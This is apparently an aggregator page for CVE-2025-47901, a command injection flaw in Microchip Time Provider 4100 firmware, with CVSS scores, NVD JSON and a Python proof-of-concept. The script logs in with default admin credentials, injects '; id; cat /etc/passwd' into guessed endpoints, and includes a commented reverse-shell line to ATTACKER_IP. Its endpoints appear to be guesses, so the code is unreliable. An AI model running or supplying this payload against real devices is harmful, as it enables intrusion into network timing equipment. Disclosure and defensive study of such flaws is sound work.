Security Vulnerability Report
中文
CVE-2025-47901 CVSS 8.8 HIGH

CVE-2025-47901

Published: 2025-10-20 18:15:39
Last Modified: 2026-03-31 11:16:13
Source: dc3f6da9-85b5-4a73-84a2-2ec90b40fca5

Description

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Microchip Time Provider 4100 allows OS Command Injection.This issue affects Time Provider 4100: before 2.5.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microchip:timeprovider_4100_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:microchip:timeprovider_4100:-:*:*:*:*:*:*:* - NOT VULNERABLE
Microchip Time Provider 4100 < 2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-47901 - Microchip Time Provider 4100 OS Command Injection PoC # Discovered by: TIM Red Team # Affected: Time Provider 4100 before version 2.5 import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://target-device" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "admin" # Step 1: Authenticate to obtain session session = requests.Session() login_url = f"{TARGET}/api/login" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, json=login_data, verify=False, timeout=10) print(f"[*] Authentication response: {resp.status_code}") except Exception as e: print(f"[-] Authentication failed: {e}") sys.exit(1) # Step 2: Exploit command injection via vulnerable endpoint # Inject OS command using shell metacharacters (e.g., semicolon) injected_payload = "127.0.0.1; id; cat /etc/passwd" vulnerable_endpoints = [ f"{TARGET}/api/diagnostics/ping", f"{TARGET}/api/network/test", f"{TARGET}/api/system/exec", f"{TARGET}/cgi-bin/diag" ] for endpoint in vulnerable_endpoints: try: params = {"host": injected_payload, "target": injected_payload, "cmd": injected_payload} resp = session.get(endpoint, params=params, verify=False, timeout=10) if resp.status_code == 200 and ("uid=" in resp.text or "root:" in resp.text): print(f"[+] Command injection successful at {endpoint}") print(f"[+] Output:\n{resp.text}") break except Exception as e: continue # Step 3: Establish reverse shell (optional, for full compromise) # reverse_shell_cmd = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # requests.get(f"{TARGET}/api/diagnostics/ping", params={"host": f"127.0.0.1; {reverse_shell_cmd}"})

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-47901", "sourceIdentifier": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "published": "2025-10-20T18:15:38.590", "lastModified": "2026-03-31T11:16:12.970", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Microchip Time Provider 4100 allows OS Command Injection.This issue affects Time Provider 4100: before 2.5."}], "metrics": {"cvssMetricV40": [{"source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microchip:timeprovider_4100_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5", "matchCriteriaId": "6634DE5C-7298-47E3-A1DB-D09BEFA6935D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:microchip:timeprovider_4100:-:*:*:*:*:*:*:*", "matchCriteriaId": "8D36DAD3-0804-42B0-A47F-6895177560EE"}]}]}], "references": [{"url": "https://www.gruppotim.it/en/footer/TIM-red-team.html", "source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5"}, {"url": "https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-remote-command-execution-47901", "source": "dc3f6da9-85b5-4a73-84a2-2ec90b40fca5", "tags": ["Vendor Advisory"]}]}}